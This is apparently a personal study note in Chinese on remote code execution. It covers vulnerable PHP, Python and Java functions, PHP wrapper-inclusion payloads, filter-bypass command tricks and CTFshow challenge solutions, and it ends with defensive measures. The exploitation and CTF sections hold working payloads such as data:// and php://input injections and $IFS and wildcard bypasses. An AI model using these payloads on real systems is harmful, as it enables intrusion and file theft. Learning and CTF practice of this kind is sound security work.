一、RCE介绍
(一)、分类
1、代码执行(Code Execution)
把用户可控的字符串当作该语言的代码/表达式在解释器里执行(例如 eval、模板表达式、反序列化触发方法)。危险在于攻击者能操纵程序逻辑、访问内存/对象/变量。
常见入口:eval
模板表达式注入(Jinja2、Freemarker 等)
不安全的反序列化(pickle、unserialize)
表达式语言(SpEL/OGNL)
2、命令执行(Command Execution)
把用户可控的字符串传给操作系统的 shell/命令执行器(例如 system()、subprocess 带 shell=True、Runtime.exec()),危险在于直接执行系统命令、文件读写、网络连接等 OS 级操作。
常见入口:systemexecpopensubprocess.Popen(..., shell=True)
Java 的 Runtime.getRuntime().exec() 或 ProcessBuilder
(二)、成因
用户可控的输入,进入了可执行上下文
(1)解释执行环境
eval、Function、new ScriptEngine()、模板引擎表达式
(2)指令执行环境
system、exec、Runtime.exec、child_process.exec
(3)对象执行环境(现代语言最常见)
反序列化链、表达式注入、Spring SPEL、OGNL、EL
二、RCE挖掘技巧
只关注一个点:这里是不是执行某种东西
1、漏洞函数:
(1)PHP
PHP代码执行函数:
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter()
uasort()等
PHP命令执行函数:
system()
exec()
shell_exec()
pcntl_exec()
popen()
proc_popen()
passthru()等
(2)Python
eval exec subprocess os.system commands
(3)Java
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等
2、RCE区分
代码执行:
脚本——java,php,python
产生——Web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品
命令执行:
系统——Linux、Windows
产生——web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品
3、执行点
(1)字符串执行代码(初级但依旧存在)
PHP: eval, assert, preg_replace /e
JS: eval, Function()
Python: eval, exec
Java: ScriptEngine、GroovyShell
(2)系统命令执行点(中等常见)
PHP: system, exec, shell_exec
Java: Runtime.getRuntime().exec
Node: child_process.exec
Python: os.system, subprocess.Popen
参数是纯常量,还是拼接了用户输入?
(3)表达式执行(现代漏洞主流)
Java SPEL
Struts OGNL
EL 表达式
FreeMarker、Beetl、Velocity
特征:#, ${}, %{},${T(java.lang.Runtime)…}
(4)模板注入
Flask / Jinja2
Twig
Django template
FreeMarker / Pebble
(5)反序列化 → gadget 链执行
Java:Fastjson、Jackson、Shiro、SnakeYAML
PHP:__wakeup/__destruct 链
Python:pickle
Node:vm2 escape
输入进来了 → 被反序列化了 → 语言会根据类结构执行某些动作 → 你能控制这个类
render(template)
render(request.args["tpl"])
4、指纹
- 后台有“脚本管理”“任务管理”“表达式配置”
- API 支持用户输入模板
- 有导入 YAML / JSON / XML 解析
- 有“条件规则/表达式配置”
- 有“代码片段执行”“脚本化自动任务”
- 文件上传可以传模板文件、配置文件
- PDF、Excel、报表生成类功能
5、业务功能点
- 无危险意识的“表达式语言”
- 动态配置(Policy Engine / Rule Engine)
- 新框架(Spring Boot、Node.js、Python Flask)
- 自动脚本执行(CI/CD 自动化任务)
三、RCE利用
1、伪协议玩法
配合文件包含伪协议(代码执行)
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php
2、关键字过滤
(1)过滤flag关键字
a、通配符
flag=fl*
cat fl*
cat ?la*
b、转义符号
ca\t /fl\ag
cat fl''ag
c、使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag
d、拼接法
a=fl;b=ag;cat$IFS$a$b
e、反引号绕过
cat `ls`
f、编码绕过
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
g、组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
h、异或无符号(过滤0-9a-zA-Z)!!!!
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
(2)过滤函数关键字
a、内敛执行绕过(system)
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
b、过滤执行命令(如cat tac等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag
(3)过滤空格
%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
***(4)无回显利用!!
1、直接写个文件访问查看
2、直接进行对外访问接受
四、RCE白盒审计
1、查执行器
eval
exec
system
Runtime
ScriptEngine
template
render
deserialize
load
parse
spEL
ognl
vm2
processbuilder
2、查传入点是否过滤
从 Controller / Router 反向追踪,看用户输入能否一路传到执行点
3、CTFshow题解
29-通配符
system('tac fla*.php');
30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');
31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
4、利用方式
a、从表达式语言直接写文件
b、利用模板引擎的 getter、import、classpath
c、反序列化 → 直接加载类 → RCE
d、语言本身的“逃逸”
Node vm2 sandbox escape
Java ScriptEngine sandbox escape
Python pickle escape
五、RCE防御
1、禁止动态执行(最好)
禁 eval、禁 ScriptEngine、禁反序列化黑名单对象。
2、限定可执行范围
模板引擎禁用危险方法
反序列化白名单
命令执行使用参数数组避免拼接
3、完全隔离
容器沙箱、权限隔离、AppArmor、seccomp
RCE 发生依旧无能力越权。
六、现代RCE
1、Spring4Shell(表达式执行 → RCE)
核心就是 SPEL 可控 → 执行 Runtime.exec。
2、Fastjson(反序列化 → gadget → RCE)
用户输入 JSON → 反序列化 → 自动调用类 → 执行命令。
小结
入门RCE熟悉一下常见绕过即可,真正熟练还是要熟悉现代框架语言才能找到执行点,又又又又又一次解释了开发的重要性,基础的重要性
依旧无回显处理。
异或、或 后面要好好学
Comments NOTHING